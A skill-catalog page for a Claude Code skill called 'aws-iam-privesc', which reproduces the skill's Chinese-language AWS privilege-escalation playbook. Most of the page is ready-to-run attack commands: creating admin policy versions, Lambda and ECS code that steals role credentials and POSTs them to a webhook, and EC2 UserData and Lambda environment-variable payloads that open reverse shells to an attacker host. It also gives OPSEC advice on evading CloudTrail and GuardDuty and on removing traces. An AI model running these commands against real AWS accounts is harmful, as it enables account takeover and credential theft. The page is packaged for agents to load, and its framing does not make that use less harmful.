
Aws Iam Privesc
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
aws-iam-privesc is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- aws-iam-privesc
- AI & Agent Building
- AI-coding skill
Aws Iam Privesc by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,994 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill aws-iam-privescAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
AWS IAM 权限提升方法论
AWS 环境中的提权(Privilege Escalation)是最关键的攻击阶段之一。与传统操作系统提权不同,AWS 提权的核心在于 IAM 权限组合的滥用——一个看似无害的 iam:PassRole 权限,配合计算服务的创建权限,就能让攻击者获得任意角色的完整权限。AWS 拥有数百项权限,其中许多权限组合可构成提权链路。
核心要点:iam:PassRole 是 AWS 提权中最普遍的向量。当 IAM Policy 使用 NotAction 排除某些操作时,可能隐式授予了包括 PassRole 在内的大量敏感权限。
深入参考
识别到具体提权集群后,加载对应参考文档获取完整技术细节:
- IAM/STS/Organizations 核心提权 → 读 references/iam-sts-privesc.md
- 计算服务提权(EC2/Lambda/ECS/Glue 等) → 读 references/compute-privesc.md
- 其他服务提权(S3/DynamoDB/KMS 等) → 读 references/service-privesc.md
核心概念:PassRole
什么是 PassRole
iam:PassRole 是一种特殊的 IAM 权限,允许用户将一个 IAM 角色"传递"给某个 AWS 服务。该服务随后以这个角色的身份运行,拥有角色的全部权限。
工作流程:
攻击者 (有 PassRole + 服务创建权限)
│
├── 1. 找到/创建一个高权限角色(如 AdminRole)
├── 2. 将该角色传递给服务(如 Lambda)
├── 3. 服务以 AdminRole 身份执行代码
└── 4. 攻击者通过服务获取 AdminRole 的临时凭据为什么 PassRole 是最常见的提权向量
- 几乎所有 AWS 计算服务(Lambda、EC2、ECS、Glue、SageMaker 等)都接受角色传递
- 管理员通常授予
iam:PassRole而不限制Resource为特定角色(使用*) - 一旦拥有 PassRole + 任意计算服务创建权限,就能提权到目标角色
如何识别 PassRole 权限
# 检查当前用户/角色的 Policy
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
aws iam get-user-policy --user-name <user> --policy-name <policy>
# 搜索包含 PassRole 的 Policy
aws iam get-policy-version --policy-arn <arn> --version-id <vid> \
| grep -i "passrole"NotAction 隐式授权陷阱
当 Policy 使用 NotAction + Allow 时,实际上允许了除指定操作外的所有操作:
{
"Effect": "Allow",
"NotAction": "s3:DeleteBucket",
"Resource": "*"
}此策略隐式授予了 `iam:PassRole`、`iam:CreateUser`、`sts:AssumeRole` 等所有敏感权限。这是实战中非常常见的配置错误。
提权决策树
获取凭据后,按以下决策树逐步检查可用的提权路径:
当前权限分析
├─ 有 iam:* 或 iam:Create*/Attach* 权限
│ ├─ iam:CreateUser + iam:AttachUserPolicy → 直接创建 Admin 用户
│ ├─ iam:CreatePolicyVersion → 修改现有 Policy 为 Admin
│ ├─ iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy → 附加 Admin 策略
│ ├─ iam:PutUserPolicy / PutGroupPolicy / PutRolePolicy → 添加内联 Admin 策略
│ ├─ iam:AddUserToGroup → 加入 Admin 组
│ ├─ iam:CreateAccessKey → 为高权限用户创建密钥
│ ├─ iam:CreateLoginProfile / UpdateLoginProfile → 设置控制台密码
│ ├─ iam:UpdateAssumeRolePolicy → 修改信任策略允许自己 AssumeRole
│ ├─ iam:SetDefaultPolicyVersion → 回滚到宽松策略版本
│ └─ iam:UpdateSAMLProvider → 篡改 SAML 联合登录
│ → 读 references/iam-sts-privesc.md
│
├─ 有 iam:PassRole + 计算服务创建权限
│ ├─ + lambda:CreateFunction + lambda:InvokeFunction → Lambda 提权
│ ├─ + ec2:RunInstances → EC2 UserData 提权
│ ├─ + ecs:RegisterTaskDefinition + ecs:RunTask → ECS 提权
│ ├─ + glue:CreateJob + glue:StartJobRun → Glue 提权
│ ├─ + sagemaker:CreateNotebookInstance → SageMaker 提权
│ ├─ + codebuild:CreateProject + codebuild:StartBuild → CodeBuild 提权
│ ├─ + cloudformation:CreateStack → CloudFormation 提权
│ ├─ + datapipeline:CreatePipeline → DataPipeline 提权
│ ├─ + apprunner:CreateService → AppRunner 提权
│ └─ + stepfunctions:CreateStateMachine → Step Functions 提权
│ → 读 references/compute-privesc.md
│
├─ 有 sts:AssumeRole
│ ├─ 枚举信任策略宽松的角色(Principal: "*")
│ ├─ 跨账户角色链 → Organizations 提权
│ └─ IAM Roles Anywhere(X.509 证书)
│ → 读 references/iam-sts-privesc.md
│
├─ 有服务特定权限
│ ├─ ssm:SendCommand / ssm:StartSession → SSM 提权到 EC2
│ ├─ s3:PutObject(CloudFormation 模板桶) → 劫持部署
│ ├─ dynamodb:PutResourcePolicy → 授权自己访问
│ ├─ kms:PutKeyPolicy / kms:CreateGrant → KMS 密钥访问
│ ├─ secretsmanager:GetSecretValue → 读取凭据
│ ├─ codebuild:StartBuild → 覆盖 Buildspec 提权
│ ├─ lambda:UpdateFunctionCode → 修改已有 Lambda 代码
│ ├─ ecr:SetRepositoryPolicy → 镜像供应链攻击
│ └─ cognito-identity:SetIdentityPoolRoles → Cognito 角色提权
│ → 读 references/service-privesc.md
│
└─ 权限非常有限
├─ 枚举所有可用权限 → enumerate-iam
├─ 逐服务检查 → Pacu iam__privesc_scan
└─ 图分析 → PMapper 构建权限图Top 10 高频提权路径
| # | 所需权限 | 提权方法 | 结果 |
|---|---|---|---|
| 1 | iam:CreatePolicyVersion | 创建新策略版本并设为默认,内容为 Allow */* | Admin |
| 2 | iam:AttachUserPolicy | 直接附加 AdministratorAccess 到当前用户 | Admin |
| 3 | iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction | 创建 Lambda 执行高权限角色代码 | Target Role |
| 4 | iam:PassRole + ec2:RunInstances | 启动 EC2 并通过 UserData/SSH 窃取角色凭据 | Target Role |
| 5 | iam:PassRole + ecs:RegisterTaskDefinition + ecs:RunTask | 注册恶意任务定义并运行 | Target Role |
| 6 | iam:PassRole + cloudformation:CreateStack | 创建 Stack 执行任意 AWS API | CF Role |
| 7 | iam:CreateAccessKey | 为其他高权限用户创建访问密钥 | Target User |
| 8 | sts:AssumeRole(信任策略宽松的角色) | 直接假冒高权限角色 | Target Role |
| 9 | iam:PassRole + glue:CreateJob | 创建 Glue Job 执行反弹 Shell | Target Role |
| 10 | lambda:UpdateFunctionCode | 修改已有 Lambda 代码注入后门 | Lambda Role |
路径 1:iam:CreatePolicyVersion — 策略版本注入
最简洁的提权方式。利用 --set-as-default 标志创建新策略版本并立即生效,无需额外权限。策略关联的所有用户/组/角色立即获得新权限。
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default检测:CloudTrail 记录 CreatePolicyVersion 事件,策略版本变更会被审计。
路径 2:iam:AttachUserPolicy — 附加托管策略
直接将 AWS 托管的 AdministratorAccess 策略附加到当前用户。
aws iam attach-user-policy --user-name <current_user> \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"变体:iam:AttachGroupPolicy(附加到所属组)、iam:AttachRolePolicy(附加到角色,需配合 AssumeRole)。
路径 3:PassRole + Lambda — 最经典的 PassRole 提权
创建 Lambda 函数绑定高权限角色,函数内读取环境变量获取临时凭据并返回。
# 创建窃取凭据的函数代码
cat > /tmp/steal.py << 'EOF'
def handler(event, context):
import os
return {'env': dict(os.environ)}
EOF
cd /tmp && zip steal.zip steal.py
aws lambda create-function --function-name privesc \
--runtime python3.9 --role <target_role_arn> \
--handler steal.handler --zip-file fileb:///tmp/steal.zip
aws lambda invoke --function-name privesc /tmp/out.json && cat /tmp/out.json注意:网络隔离的 Lambda 无法反弹 Shell,但可通过返回值直接泄露凭据。
路径 4:PassRole + EC2 — UserData 提权
启动 EC2 实例并通过 UserData 执行命令,从 IMDS 获取角色凭据。
aws ec2 run-instances --image-id <ami_id> --instance-type t2.micro \
--iam-instance-profile Name=<instance_profile> \
--user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://<webhook>'注意:从实例外部使用 EC2 角色凭据会触发 GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration 告警。
路径 5:PassRole + ECS — 任务定义提权
注册包含恶意容器的任务定义,从 ECS 元数据端点(169.254.170.2)获取任务角色凭据。Fargate 和 EC2 启动类型均可利用。也可使用 --overrides 直接覆盖已有任务的角色和命令。
路径 6:PassRole + CloudFormation — 基础设施即代码提权
CloudFormation Stack 可创建任意 AWS 资源。创建包含恶意 IAM 资源(如新 Admin 用户)的模板,通过高权限 CF 角色部署。
路径 7:iam:CreateAccessKey — 密钥创建
如果目标用户已有 2 个密钥,需先 iam:DeleteAccessKey 删除一个。创建后即可使用目标用户的全部权限。
路径 8:sts:AssumeRole — 角色假冒
关键在于发现信任策略配置宽松的角色。Principal: "*" 意味着任何 AWS 实体均可假冒。
# 枚举所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
echo "=== $role ==="
aws iam get-role --role-name $role --query 'Role.AssumeRolePolicyDocument'
done路径 9-10:Glue Job / Lambda 代码修改
Glue Job 提权模式与 Lambda 类似但通过 S3 脚本执行。lambda:UpdateFunctionCode 无需 PassRole,直接修改已有函数代码——如果函数被自动触发(API Gateway、S3 事件等),注入代码将自动执行。
完整利用命令 → 读 references/compute-privesc.md 和 references/service-privesc.md。
按服务集群索引
IAM/STS/Organizations 集群
核心 IAM 提权技术——最直接的提权集群,无需通过计算服务中转,直接修改 IAM 配置获取高权限。
主要技术分类:
| 技术类别 | 关键权限 | 提权效果 |
|---|---|---|
| 策略操纵 | iam:CreatePolicyVersion、iam:SetDefaultPolicyVersion | 修改策略内容获取 Admin |
| 策略附加 | iam:AttachUserPolicy、iam:PutUserPolicy 等 | 附加/注入 Admin 策略 |
| 组管理 | iam:AddUserToGroup | 加入高权限组 |
| 凭据创建 | iam:CreateAccessKey、iam:CreateLoginProfile | 获取目标用户凭据 |
| 信任篡改 | iam:UpdateAssumeRolePolicy、iam:UpdateSAMLProvider | 修改信任策略或 SAML |
| MFA 接管 | iam:CreateVirtualMFADevice + iam:EnableMFADevice | 控制目标用户 MFA |
| STS 角色链 | sts:AssumeRole、sts:AssumeRoleWithSAML | 假冒高权限角色 |
| SSO 提权 | sso:PutInlinePolicyToPermissionSet、sso:CreateAccountAssignment | 修改权限集 |
| Cognito | cognito-identity:SetIdentityPoolRoles | 劫持身份池角色 |
| Roles Anywhere | X.509 证书 + 宽松信任策略 | 假冒任意角色 |
涉及服务:IAM、STS、Organizations、IAM Identity Center (SSO)、Directory Services、Cognito
→ 读 references/iam-sts-privesc.md
计算服务集群
所有基于 iam:PassRole + 计算服务创建权限的提权路径。攻击模式统一:创建计算资源 → 附加高权限角色 → 在计算资源内执行代码 → 窃取角色凭据。
主要技术分类:
| 服务 | PassRole 模式 | 无 PassRole 模式 |
|---|---|---|
| EC2 | RunInstances + UserData/SSH | ModifyInstanceAttribute、SendSSHPublicKey |
| Lambda | CreateFunction + Invoke | UpdateFunctionCode、UpdateFunctionConfiguration (环境变量 RCE) |
| ECS | RegisterTaskDefinition + RunTask | ExecuteCommand 进入容器、RegisterContainerInstance |
| Glue | CreateDevEndpoint / CreateJob | UpdateDevEndpoint (SSH 密钥替换)、UpdateJob |
| SageMaker | CreateNotebookInstance | CreatePresignedNotebookInstanceUrl / CreatePresignedDomainUrl |
| CodeBuild | CreateProject + StartBuild | StartBuild (buildspec 覆盖)、UpdateProject |
| CloudFormation | CreateStack / CreateChangeSet | UpdateStack (利用已附加角色) |
| Step Functions | CreateStateMachine + StartExecution | TestState (直接测试单个状态) |
| EventBridge | CreateSchedule (Universal Target) | - |
| EMR | RunJobFlow + SSH | OpenEditorInConsole |
| AppRunner | CreateService | - |
| DataPipeline | CreatePipeline + PutPipelineDefinition | - |
| CodePipeline | CreatePipeline | PollForJobs (获取 S3 临时凭据) |
| Elastic Beanstalk | CreateApplication + S3 写入 | RebuildEnvironment (代码替换) |
涉及服务:EC2、Lambda、ECS/EKS、Glue、SageMaker、EMR、CodeBuild、CodePipeline、CodeStar、Elastic Beanstalk、AppRunner、Step Functions、DataPipeline、EventBridge Scheduler
→ 读 references/compute-privesc.md
其他服务集群
数据服务、安全服务和基础设施服务的提权路径。多为间接提权——通过访问敏感数据、修改资源策略、或劫持部署管道实现。
主要技术分类:
| 服务 | 关键权限 | 提权方式 |
|---|---|---|
| SSM | ssm:SendCommand、ssm:StartSession | 远程命令执行,窃取 EC2/ECS 角色凭据 |
| S3 | s3:PutObject(配置桶) | 篡改 CF 模板/Terraform 状态/Buildspec |
| DynamoDB | dynamodb:PutResourcePolicy | 资源策略注入,授予跨账户访问 |
| KMS | kms:PutKeyPolicy、kms:CreateGrant | 密钥策略修改,解密受保护数据 |
| SecretsManager | secretsmanager:GetSecretValue | 直接读取存储的凭据/密码 |
| ECR | ecr:SetRepositoryPolicy、ecr:PutImage | 镜像供应链攻击、标签覆盖 |
| EBS | ebs:GetSnapshotBlock | 下载快照提取凭据(如 AD 密码) |
| RDS | rds:ModifyDBInstance | 重置数据库密码 |
| SNS/SQS | sns:Subscribe、sqs:ReceiveMessage | 消息窃听获取敏感信息 |
| Lightsail | lightsail:DownloadDefaultKeyPair | SSH 密钥获取(非 IAM 提权) |
| Route53 | route53:ChangeResourceRecordSets | DNS 劫持辅助攻击 |
涉及服务:S3、DynamoDB、RDS、KMS、SecretsManager、SNS、SQS、SSM、CloudFormation(无 PassRole)、Redshift、EBS、EFS、ECR、Lightsail 等
→ 读 references/service-privesc.md
权限到服务速查矩阵
当你发现某个特定权限时,快速定位可能的提权路径:
| 发现的权限 | 应检查的提权路径 | 参考 |
|---|---|---|
iam:PassRole (Resource: *) | 所有计算服务提权 | compute-privesc.md |
iam:PassRole (Resource: 特定角色) | 检查该角色权限,选择匹配的计算服务 | compute-privesc.md |
iam:Create* / iam:Attach* / iam:Put* | IAM 直接提权 | iam-sts-privesc.md |
sts:AssumeRole | 枚举信任策略宽松的角色 | iam-sts-privesc.md |
lambda:* | Lambda 代码修改/创建 | compute-privesc.md |
ec2:RunInstances / ec2:Modify* | EC2 提权 | compute-privesc.md |
ecs:* | ECS 任务定义/容器命令执行 | compute-privesc.md |
ssm:SendCommand / ssm:StartSession | SSM 远程执行 | service-privesc.md |
s3:PutObject(基础设施桶) | 配置文件/模板篡改 | service-privesc.md |
codebuild:StartBuild | Buildspec 覆盖 | compute-privesc.md |
secretsmanager:GetSecretValue | 直接读取凭据 | service-privesc.md |
kms:PutKeyPolicy | KMS 密钥接管 | service-privesc.md |
cognito-identity:* | Cognito 角色劫持 | iam-sts-privesc.md |
提权检测与自动化工具
权限枚举工具
| 工具 | 用途 | 命令示例 |
|---|---|---|
| enumerate-iam | 暴力枚举当前凭据可用的 API | python enumerate-iam.py --access-key AKIA... --secret-key ... |
| Pacu (iam__enum_permissions) | 枚举 IAM 权限 | run iam__enum_permissions |
| ScoutSuite | 多云安全审计 | scout aws --profile <profile> |
提权路径分析工具
| 工具 | 用途 | 命令示例 |
|---|---|---|
| Pacu (iam__privesc_scan) | 自动扫描 21+ 已知提权路径 | run iam__privesc_scan |
| PMapper (Principal Mapper) | 图分析 IAM 权限关系,可视化提权链 | pmapper graph create && pmapper analysis |
| Cloudsplaining | 分析 IAM Policy 中的过度授权和危险权限 | cloudsplaining scan --input-file account-auth.json |
| aws_escalate.py | RhinoSecurityLabs 原始提权检测脚本 | python aws_escalate.py |
| Cognito Scanner | Cognito 专项攻击工具 | cognito-scanner --identity-pool-id <id> |
推荐的提权检查流程
第一步:确认身份和权限
# 确认当前身份
aws sts get-caller-identity
# 查看用户附加的策略
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
# 查看用户所属的组
aws iam list-groups-for-user --user-name <user>
# 如果是角色,查看角色策略
aws iam list-attached-role-policies --role-name <role>第二步:自动化扫描
# 使用 Pacu 自动扫描
# 在 Pacu shell 中:
run iam__enum_permissions
run iam__privesc_scan
# 或使用 PMapper 构建权限图
pmapper graph create
pmapper query "who can do iam:PassRole with arn:aws:iam::*:role/*"
pmapper query "who can do sts:AssumeRole with *"
pmapper analysis --output results.txt第三步:手动验证
根据发现的权限,参照本文的决策树和 references 文件手动验证可行的提权路径。
AWS CDK 特殊提权路径
使用 AWS CDK 的环境存在预置角色,遵循 cdk-<qualifier>-<name>-<account>-<region> 命名模式。默认 qualifier 为 hnb659fds。关键角色:
cdk-hnb659fds-cfn-exec-role-<account>-<region>— CloudFormation 执行角色,通常有*/*权限cdk-hnb659fds-deploy-role-<account>-<region>— 部署角色
如果可以 AssumeRole 到 deploy-role 或修改 CDK 项目源码,可注入恶意 CloudFormation 资源获取 Admin。
注意事项
操作安全(OPSEC)
- CloudTrail 日志:几乎所有 IAM/STS 操作都被记录。高危事件包括:
CreatePolicyVersion、AttachUserPolicy、CreateAccessKeyPassRole(作为其他 API 调用的参数记录)AssumeRole、AssumeRoleWithSAML- GuardDuty 检测:
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration— EC2 角色凭据在实例外使用Recon:IAMUser/UserPermissions— 大量 IAM 枚举操作PrivilegeEscalation:IAMUser/AdministrativePermissions— 权限提升行为- 异步操作等待:
- EC2 启动约需 1-3 分钟
- Glue DevEndpoint 准备约需 5-10 分钟
- SageMaker Notebook 创建约需 3-5 分钟
- CloudFormation Stack 创建时间取决于资源数量
- 资源清理:提权后及时清理创建的资源(Lambda 函数、EC2 实例等),减少被发现风险
提权前置条件验证
- 跨账户 AssumeRole:需要目标角色信任策略允许攻击者账户,且攻击者账户自身策略允许
sts:AssumeRole - PassRole 资源限制:检查
iam:PassRole的Resource字段——*表示可传递任意角色,特定 ARN 表示只能传递指定角色 - 服务信任关系:传递的角色必须信任目标服务(如 Lambda 角色需信任
lambda.amazonaws.com) - 权限边界(Permissions Boundary):即使附加了 Admin 策略,权限边界可能限制实际生效的权限
- SCP(Service Control Policy):Organizations 的 SCP 可能限制成员账户的操作,即使拥有 Admin 权限
- VPC 网络限制:部分提权路径(如 RDS 密码重置)需要能够网络访问目标资源
交叉引用
- 参考
aws-pentesting技能,获取整体攻击流程 - 参考
cloud-iam-audit技能,进行跨云 IAM 审计 - 参考
aws-iam-policy-analysis技能,深入分析 Policy 配置
计算服务提权
本文档覆盖所有基于 iam:PassRole + 计算服务创建权限的提权路径。核心模式统一:创建计算资源 → 附加高权限角色 → 在计算资源内执行代码 → 窃取角色凭据。
EC2 提权
iam:PassRole + ec2:RunInstances — 启动实例窃取角色
所需权限:iam:PassRole、ec2:RunInstances
通过 SSH 密钥或 UserData 反弹 Shell 访问实例,从元数据服务窃取角色凭据。
# 方式 1:SSH 密钥访问
aws ec2 run-instances --image-id <ami_id> --instance-type t2.micro \
--iam-instance-profile Name=<instance_profile> --key-name <ssh_key> \
--security-group-ids <sg_id>
# 方式 2:UserData 反弹 Shell(无需安全组配置)
cat > /tmp/userdata.sh << 'EOF'
#!/bin/bash
curl https://reverse-shell.sh/<attacker_host>:<port> | bash
EOF
aws ec2 run-instances --image-id <ami_id> --instance-type t2.micro \
--iam-instance-profile Name=<instance_profile> \
--user-data file:///tmp/userdata.sh结果:提权到实例配置文件关联的角色。
注意:从实例外部使用实例角色凭据会触发 GuardDuty 告警。
iam:PassRole + iam:AddRoleToInstanceProfile — 替换实例角色
所需权限:iam:PassRole、iam:AddRoleToInstanceProfile(可能需要 iam:RemoveRoleFromInstanceProfile)
aws iam remove-role-from-instance-profile --instance-profile-name <profile> --role-name <old_role>
aws iam add-role-to-instance-profile --instance-profile-name <profile> --role-name <high_priv_role>ec2:ModifyInstanceAttribute — 修改 UserData
所需权限:ec2:ModifyInstanceAttribute、ec2:StopInstances、ec2:StartInstances
实例必须停止后才能修改 UserData。
aws ec2 stop-instances --instance-ids <instance_id>
aws ec2 modify-instance-attribute --instance-id <instance_id> \
--attribute userData --value file:///tmp/userdata.b64
aws ec2 start-instances --instance-ids <instance_id>ec2:RequestSpotInstances + iam:PassRole
REV=$(printf '#!/bin/bash\ncurl https://reverse-shell.sh/<host>:<port> | bash' | base64)
aws ec2 request-spot-instances --instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"<profile>\"},\"InstanceType\":\"t2.micro\",\"UserData\":\"$REV\",\"ImageId\":\"<ami>\"}"ec2-instance-connect:SendSSHPublicKey — 注入 SSH 密钥
所需权限:ec2-instance-connect:SendSSHPublicKey
aws ec2-instance-connect send-ssh-public-key --instance-id <id> \
--instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pubec2:CreateLaunchTemplateVersion — AutoScaler 劫持
所需权限:ec2:CreateLaunchTemplateVersion、ec2:ModifyLaunchTemplate
创建含恶意 UserData 的新版本启动模板,等待 AutoScaler 使用新模板启动实例。
REV=$(printf '#!/bin/bash\ncurl https://reverse-shell.sh/<host>:<port> | bash' | base64)
aws ec2 create-launch-template-version --launch-template-name <name> \
--launch-template-data "{\"ImageId\":\"<ami>\",\"InstanceType\":\"t3.micro\",\"IamInstanceProfile\":{\"Name\":\"<profile>\"},\"UserData\":\"$REV\"}"
aws ec2 modify-launch-template --launch-template-name <name> --default-version 2ec2:ModifyInstanceMetadataOptions — IMDS 降级
所需权限:ec2:ModifyInstanceMetadataOptions
将 IMDS 从 v2(需 Token)降级为 v1,并提高 Hop Limit,使 SSRF 可达元数据服务。
aws ec2 modify-instance-metadata-options --instance-id <id> \
--http-tokens optional --http-put-response-hop-limit 3Lambda 提权
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
所需权限:iam:PassRole、lambda:CreateFunction、lambda:InvokeFunction
最经典的 PassRole 提权路径之一。
# 创建窃取凭据的 Lambda 代码
cat > /tmp/lambda.py << 'PYEOF'
def handler(event, context):
import os
token = open('/proc/self/environ').read()
return {'statusCode': 200, 'session': token}
PYEOF
cd /tmp && zip lambda.zip lambda.py
# 创建函数并绑定高权限角色
aws lambda create-function --function-name privesc \
--runtime python3.9 --role <high_priv_role_arn> \
--handler lambda.lambda_handler --zip-file fileb:///tmp/lambda.zip
# 调用并获取凭据
aws lambda invoke --function-name privesc /tmp/output.txt
cat /tmp/output.txtlambda:UpdateFunctionCode — 修改已有 Lambda
所需权限:lambda:UpdateFunctionCode
无需 PassRole,直接修改已有函数代码窃取其角色凭据。
aws lambda update-function-code --function-name <existing_func> \
--zip-file fileb:///tmp/backdoor.ziplambda:UpdateFunctionConfiguration — 环境变量注入 RCE
所需权限:lambda:UpdateFunctionConfiguration
利用 PYTHONWARNINGS + BROWSER 环境变量在 Python Lambda 中获取 RCE。
aws lambda update-function-configuration --function-name <func> \
--environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/<host>/<port> 0>&1' & #%s\"}"也可通过 Lambda Layer 注入恶意代码(覆盖 boto3 等库)。
iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
无需 lambda:InvokeFunction,通过 DynamoDB Stream 间接触发 Lambda。
aws lambda create-event-source-mapping --function-name privesc \
--event-source-arn <dynamodb_stream_arn> --enabled --starting-position LATEST
# 向 DynamoDB 写入触发
aws dynamodb put-item --table-name <table> --item '{"key":{"S":"trigger"}}'ECS 提权
iam:PassRole + ecs:RegisterTaskDefinition + ecs:RunTask
aws ecs register-task-definition --family privesc \
--task-role-arn <high_priv_role_arn> --network-mode awsvpc \
--cpu 256 --memory 512 --requires-compatibilities '["FARGATE"]' \
--container-definitions '[{"name":"steal","image":"python:latest","entryPoint":["sh","-c"],"command":["curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI | curl -X POST -d @- <webhook_url>"]}]'
aws ecs run-task --task-definition privesc --cluster <cluster_arn> \
--launch-type FARGATE --network-configuration '{"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["<subnet>"]}}'iam:PassRole + ecs:RunTask(--overrides 覆盖)
无需注册新任务定义,直接覆盖已有任务的角色和命令。
aws ecs run-task --cluster <cluster> --task-definition <existing_task:1> \
--overrides '{"taskRoleArn":"<high_priv_role>","containerOverrides":[{"name":"<container>","command":["sh","-c","curl <webhook>?creds=$(curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)"]}]}'ecs:ExecuteCommand — 进入运行中容器
所需权限:ecs:ExecuteCommand、ecs:DescribeTasks
# 检查哪些任务启用了 ExecuteCommand
aws ecs describe-tasks --cluster <cluster> --tasks <task_arn> \
| grep enableExecuteCommand
aws ecs execute-command --interactive --command "sh" \
--cluster <cluster> --task <task_arn>
# 容器内窃取凭据
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"Glue 提权
iam:PassRole + glue:CreateDevEndpoint — 开发端点
aws glue create-dev-endpoint --endpoint-name privesc \
--role-arn <glue_role_arn> --public-key file://~/.ssh/id_rsa.pub
# 等待端点就绪后 SSH 连接
aws glue get-dev-endpoint --endpoint-name privesc
ssh -i ~/.ssh/id_rsa glue@<public_address>iam:PassRole + glue:CreateJob — Glue Job
aws glue create-job --name privesc --role <glue_admin_role_arn> \
--command '{"Name":"pythonshell","PythonVersion":"3","ScriptLocation":"s3://<bucket>/rev.py"}'
aws glue start-job-run --job-name privescglue:UpdateDevEndpoint — SSH 密钥替换
aws glue update-dev-endpoint --endpoint-name <existing> \
--public-key file://~/.ssh/id_rsa.pubSageMaker 提权
iam:PassRole + sagemaker:CreateNotebookInstance
aws sagemaker create-notebook-instance --notebook-instance-name privesc \
--instance-type ml.t2.medium \
--role-arn <sagemaker_role_arn>
# 获取预签名 URL 访问 Jupyter
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name privesc
# 浏览器打开 URL → Terminal → 窃取凭据sagemaker:CreatePresignedDomainUrl — Studio 会话劫持
无需 PassRole,为目标 UserProfile 生成登录 URL,继承其 ExecutionRole。
aws sagemaker create-presigned-domain-url --domain-id <dom_id> \
--user-profile-name <target_user> --query AuthorizedUrl --output textiam:PassRole + sagemaker:CreateProcessingJob / CreateTrainingJob
创建处理任务或训练任务执行任意代码,窃取角色凭据。
aws sagemaker create-processing-job --processing-job-name privesc \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification '{"ImageUri":"<sagemaker_image>","ContainerEntrypoint":["python","-c"],"ContainerArguments":["<exfil_code>"]}' \
--role-arn <role_arn>CodeBuild 提权
codebuild:StartBuild — Buildspec 覆盖
所需权限:codebuild:StartBuild(无需 PassRole 或 UpdateProject)
cat > /tmp/buildspec.yml << 'EOF'
version: 0.2
phases:
build:
commands:
- curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
EOF
aws codebuild start-build --project-name <project> \
--buildspec-override file:///tmp/buildspec.ymliam:PassRole + codebuild:CreateProject
创建新项目绑定高权限角色。
aws codebuild create-project --name privesc \
--source '{"type":"NO_SOURCE","buildspec":"version: 0.2\nphases:\n build:\n commands:\n - curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"}' \
--artifacts '{"type":"NO_ARTIFACTS"}' \
--environment '{"type":"LINUX_CONTAINER","image":"aws/codebuild/standard:1.0","computeType":"BUILD_GENERAL1_SMALL"}' \
--service-role <high_priv_role_arn>
aws codebuild start-build --project-name privescCloudFormation 提权
iam:PassRole + cloudformation:CreateStack
aws cloudformation create-stack --stack-name privesc \
--template-url https://<attacker_bucket>.s3.amazonaws.com/template.json \
--role-arn <cf_admin_role_arn> --capabilities CAPABILITY_IAMcloudformation:UpdateStack(无 PassRole)
利用已附加角色的现有 Stack。
aws cloudformation update-stack --stack-name <existing_stack> \
--template-url https://<bucket>.s3.amazonaws.com/malicious-template.json \
--capabilities CAPABILITY_IAM其他计算服务
EMR — iam:PassRole + elasticmapreduce:RunJobFlow
aws emr create-cluster --release-label emr-5.15.0 --instance-type m4.large \
--instance-count 1 --service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=<ec2_role>,KeyName=<ssh_key>CodePipeline — iam:PassRole + codepipeline:CreatePipeline
创建流水线指定高权限服务角色,在构建阶段执行命令。
CodeStar — codestar:CreateProject + codestar:AssociateTeamMember
通过 CodeStar 项目获取额外策略和 CloudFormation 角色。
Elastic Beanstalk — S3 写入 + elasticbeanstalk:RebuildEnvironment
修改 Beanstalk S3 桶中的代码包后重建环境。
AppRunner — iam:PassRole + apprunner:CreateService
aws apprunner create-service --service-name privesc \
--source-configuration '{"ImageRepository":{"ImageIdentifier":"<image>","ImageRepositoryType":"ECR_PUBLIC","ImageConfiguration":{"Port":"3000"}}}' \
--instance-configuration '{"InstanceRoleArn":"<role_arn>"}'Step Functions — states:TestState + iam:PassRole
无需创建状态机,直接测试单个状态执行 API 调用。
aws stepfunctions test-state \
--definition '{"Type":"Task","Parameters":{"UserName":"admin"},"Resource":"arn:aws:states:::aws-sdk:iam:createAccessKey","End":true}' \
--role-arn <permissive_role_arn>DataPipeline — iam:PassRole + datapipeline:CreatePipeline
创建管道通过 ShellCommandActivity 执行命令。
EventBridge Scheduler — iam:PassRole + scheduler:CreateSchedule
